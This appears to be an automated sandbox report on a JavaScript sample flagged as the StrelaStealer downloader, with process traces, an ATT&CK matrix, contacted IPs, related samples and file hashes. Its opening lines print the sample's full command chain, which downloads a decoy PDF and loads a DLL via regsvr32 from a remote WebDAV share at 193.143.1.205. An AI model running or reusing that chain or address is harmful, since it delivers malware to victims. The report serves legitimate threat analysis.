Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\280701160228083.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
369248682699819312.js	10%	Virustotal		Browse
369248682699819312.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/5	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/I	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/m	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/K	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.36	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/I	net.exe, 00000007.00000002.2229773265.000001E3B34CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2242424703.0000027B2C900000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3427446013.0000027B2CA11000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
http://193.143.1.205:8888/K	net.exe, 00000007.00000002.2229773265.000001E3B3498000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/5	net.exe, 00000007.00000002.2229773265.000001E3B34CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2229773265.000001E3B3498000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2229773265.000001E3B34EC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2229773265.000001E3B34CD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/m	net.exe, 00000007.00000002.2229773265.000001E3B34CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588935
Start date and time:	2025-01-11 07:22:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	369248682699819312.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 23.209.209.135, 199.232.210.172, 184.28.90.27, 2.16.168.107, 2.16.168.105, 2.23.242.162, 2.22.242.123, 2.22.242.11, 13.107.246.45, 52.149.20.212, 3.233.129.217, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:23:48	API Interceptor	21x Sleep call for process: powershell.exe modified
01:23:52	API Interceptor	1x Sleep call for process: net.exe modified
01:23:53	API Interceptor	2x Sleep call for process: svchost.exe modified
01:24:01	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	2227274219703378.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	1383920648257922108.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	24755260942519232167.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
bg.microsoft.map.fastly.net	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	497524953288097419.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3244127882174020209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1702927977169302141.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	228803832962016267.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	205603875166153346.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	5330147048382019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26641100881772821841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32486157991878827956.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1775148551349412785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.726324739013625
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0R:9JZj5MiKNnNhoxuU
MD5:	E191CFB6F49128289C98331BF39AA10A
SHA1:	C1BE5D3269F9EEFDF5AB1BA9334DA83A2EAEA5CF
SHA-256:	8B027889A2F41FD7BF70ED539BC3DBCBF9E3D3F782256C9FFB3F9202C0A15334
SHA-512:	4BF23B1089C70CBCCB7A4F0089553E74026C1FD6668FC46687218C0BC71B3F583AEAE98082726DE7EA8CA21D4B51E1666FF586EC00844876F4B1DC10FE8CC157
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x3affc17b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555737883381924
Encrypted:	false
SSDEEP:	1536:VSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:VazaSvGJzYj2UlmOlOL
MD5:	A86298E15911386B0D930CB13E205DD2
SHA1:	B3F312470110F81E134DABBFAA7C295294DA4ECA
SHA-256:	880490A85AD633D5263522C3F453C47AB0A1CD127A4805FA0F0412951B6D842C
SHA-512:	9E2F5184D0C23705FDF2A054EC6D693C2C7F34F125550BA3CBC8F980C5D83B14CA28940400CA6597EBE28049ED1A8B1AB89155843BCAEDE66B4BC23D7880C673
Malicious:	false
Preview:	:..{... .......7.......X\...;...{......................0.e......!...{?.5....}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{......................................6....}A.....................6....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07816860203405404
Encrypted:	false
SSDEEP:	3:yml6YekwLKg3NaAPaU1lSM+Ti/lAlluxmO+l/SNxOf:yS6z3NDPaUqM+TylAgmOH
MD5:	266B8ED624BDD2F5B84C44AB22CDA806
SHA1:	C4701EF559103704FF4CF2E8A954F6DAE156B2AC
SHA-256:	C1BBA7C621839E917E30FF40AACED6625DBC65949734E3EC877EC6D0E1CB69F2
SHA-512:	1091FE33E0291A38FA4D95562AA96FC87C1047C22A24356B89492EBE7B528328BBF3159D83DA22A34E96195041CF87690096DECF62387338120C36B012E4F964
Malicious:	false
Preview:	vx.=.....................................;...{..6....}...!...{?..........!...{?..!...{?..g...!...{?.....................6....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.212400964533225
Encrypted:	false
SSDEEP:	6:iOn/yTFrOq2PN72nKuAl9OmbnIFUtF/yOZmwr/yikwON72nKuAl9OmbjLJ:7n/yTovVaHAahFUtF/yO/r/yi5OaHAae
MD5:	39303134CE8D205705517CBD223D4EF1
SHA1:	44E6A03D73D05CD03E6A44627490712AA5E4EB65
SHA-256:	A6BAD2582191E83FBD324B224B50E9BEDB1FDEE7ACE7A93A464A0EBD15DD3A07
SHA-512:	F968413DCB2835B8D34DB8B917CE2EA7C670FF42F63141D6A8FE516F490FF17D4B2D7466A279D9D390189FE210025F53F360B96FDE571A2F85E408CA8AB27EC9
Malicious:	false
Preview:	2025/01/11-01:23:53.886 194 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:23:53.889 194 Recovering log #3.2025/01/11-01:23:53.889 194 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.212400964533225
Encrypted:	false
SSDEEP:	6:iOn/yTFrOq2PN72nKuAl9OmbnIFUtF/yOZmwr/yikwON72nKuAl9OmbjLJ:7n/yTovVaHAahFUtF/yO/r/yi5OaHAae
MD5:	39303134CE8D205705517CBD223D4EF1
SHA1:	44E6A03D73D05CD03E6A44627490712AA5E4EB65
SHA-256:	A6BAD2582191E83FBD324B224B50E9BEDB1FDEE7ACE7A93A464A0EBD15DD3A07
SHA-512:	F968413DCB2835B8D34DB8B917CE2EA7C670FF42F63141D6A8FE516F490FF17D4B2D7466A279D9D390189FE210025F53F360B96FDE571A2F85E408CA8AB27EC9
Malicious:	false
Preview:	2025/01/11-01:23:53.886 194 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:23:53.889 194 Recovering log #3.2025/01/11-01:23:53.889 194 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.114289521071812
Encrypted:	false
SSDEEP:	6:iOn/7q2PN72nKuAl9Ombzo2jMGIFUtF/ycXZmwr/ycFkwON72nKuAl9Ombzo2jM4:7n/7vVaHAa8uFUtF/yI/r/yQ5OaHAa8z
MD5:	351DB1F18FA66BAA09D0325CC4427CA3
SHA1:	B08FCEACFFB8F488EFE9D0BA3C80D7F1313EB2E8
SHA-256:	1BFB4FAAD70BD07683C3C5D8F3F7C70419C78CD3B555A580B76BB0DEF927F681
SHA-512:	D53B7C69235AEB1ECC4E9FD5C804861BFAC30ACA19123C1D52D88883DA334433403883C729693B498C797D37951FEBD56943CD22020E766923763C327E710542
Malicious:	false
Preview:	2025/01/11-01:23:53.900 1c54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:23:53.901 1c54 Recovering log #3.2025/01/11-01:23:53.901 1c54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.114289521071812
Encrypted:	false
SSDEEP:	6:iOn/7q2PN72nKuAl9Ombzo2jMGIFUtF/ycXZmwr/ycFkwON72nKuAl9Ombzo2jM4:7n/7vVaHAa8uFUtF/yI/r/yQ5OaHAa8z
MD5:	351DB1F18FA66BAA09D0325CC4427CA3
SHA1:	B08FCEACFFB8F488EFE9D0BA3C80D7F1313EB2E8
SHA-256:	1BFB4FAAD70BD07683C3C5D8F3F7C70419C78CD3B555A580B76BB0DEF927F681
SHA-512:	D53B7C69235AEB1ECC4E9FD5C804861BFAC30ACA19123C1D52D88883DA334433403883C729693B498C797D37951FEBD56943CD22020E766923763C327E710542
Malicious:	false
Preview:	2025/01/11-01:23:53.900 1c54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:23:53.901 1c54 Recovering log #3.2025/01/11-01:23:53.901 1c54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.954943034889156
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqEsBdOg2HgZcaq3QYiubcP7E4T3y:Y2sRdsIdMHgg3QYhbA7nby
MD5:	8CFDF1BC5C80B8305A65F2C0C19B2255
SHA1:	6A5EB9DB3A9EABED9D96AB26F635AC835AB03ABD
SHA-256:	1B86B253DA4EE0FE1556A3A0F654D8703FFE1174B6D1324F6123F32FD9A71EFB
SHA-512:	EBF39E149D39B9499591D09AA3DE122B2FB1C9EB6076AB0FF55A71AFFB0CB4BC2AC5F04C212CE1DF4ABF0B2E28B7DEC2EF1461E52911B03429DA047E92A2458D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136644497912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132839},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\aa188e37-38f4-4355-949f-74337d257c8f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.954943034889156
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqEsBdOg2HgZcaq3QYiubcP7E4T3y:Y2sRdsIdMHgg3QYhbA7nby
MD5:	8CFDF1BC5C80B8305A65F2C0C19B2255
SHA1:	6A5EB9DB3A9EABED9D96AB26F635AC835AB03ABD
SHA-256:	1B86B253DA4EE0FE1556A3A0F654D8703FFE1174B6D1324F6123F32FD9A71EFB
SHA-512:	EBF39E149D39B9499591D09AA3DE122B2FB1C9EB6076AB0FF55A71AFFB0CB4BC2AC5F04C212CE1DF4ABF0B2E28B7DEC2EF1461E52911B03429DA047E92A2458D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381136644497912","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132839},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.2496145284233755
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE79Nodl:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhO
MD5:	46320F0ADA719B0872A726A88964E28F
SHA1:	CF54BA4CB776DEE8835DEECF6615006FBCC921AE
SHA-256:	9EA39D66BD927C721ADF2EC16003D7E933CEB2E8288E8CCCE3CE8903F79E5F74
SHA-512:	4B840598BFC9A9F02C76F2BCF3F7A6DB864D0902A668E5C72CD5DE7E7C8FF9C1AB93211C4B1DC844730416F253AAA3E0D310D96BFC37EB6265F3CAF1BDFE4413
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.156178951134841
Encrypted:	false
SSDEEP:	6:iOn/Wq2PN72nKuAl9OmbzNMxIFUtF/UAZmwr/KkwON72nKuAl9OmbzNMFLJ:7n/WvVaHAa8jFUtF///r/K5OaHAa84J
MD5:	1A983A4D2C3AB6E44525DF8679ED3303
SHA1:	F2AF16641F18B4E4F35CBB9F47B58286EEF8597D
SHA-256:	58636D0A8B132715DAB501466A013C09B1DD9B923962EB3B2C480C98B286FC19
SHA-512:	9E9F9323E84DDEC9D97B2DF8004CFD60ED713C8080C66096679951F57676E6440DE860C989B6190FF89A0258DB133C8476BBA70F473667CA615B7A25BF0B6AC4
Malicious:	false
Preview:	2025/01/11-01:23:54.658 1c54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:23:54.661 1c54 Recovering log #3.2025/01/11-01:23:54.662 1c54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.156178951134841
Encrypted:	false
SSDEEP:	6:iOn/Wq2PN72nKuAl9OmbzNMxIFUtF/UAZmwr/KkwON72nKuAl9OmbzNMFLJ:7n/WvVaHAa8jFUtF///r/K5OaHAa84J
MD5:	1A983A4D2C3AB6E44525DF8679ED3303
SHA1:	F2AF16641F18B4E4F35CBB9F47B58286EEF8597D
SHA-256:	58636D0A8B132715DAB501466A013C09B1DD9B923962EB3B2C480C98B286FC19
SHA-512:	9E9F9323E84DDEC9D97B2DF8004CFD60ED713C8080C66096679951F57676E6440DE860C989B6190FF89A0258DB133C8476BBA70F473667CA615B7A25BF0B6AC4
Malicious:	false
Preview:	2025/01/11-01:23:54.658 1c54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:23:54.661 1c54 Recovering log #3.2025/01/11-01:23:54.662 1c54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4445491217751485
Encrypted:	false
SSDEEP:	384:ye6ci5tNiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mms3OazzU89UTTgUL
MD5:	C9A15FFFD9E75519095EED85C20F413F
SHA1:	0ED05965D191393C8654A46EBC246AD4D67E7679
SHA-256:	0B86840311E95BB575704952559135C93910C02247F8370D7F0ED47E36D595A9
SHA-512:	D02D983E5B5D7A8D7BFB898D50F57AC24E0C16988B6B44916EC44CD56FA9CAE93DDD6224A87958ED8071E95E01162FAB7ECDA75715000C23533E5B2C8EF1082E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
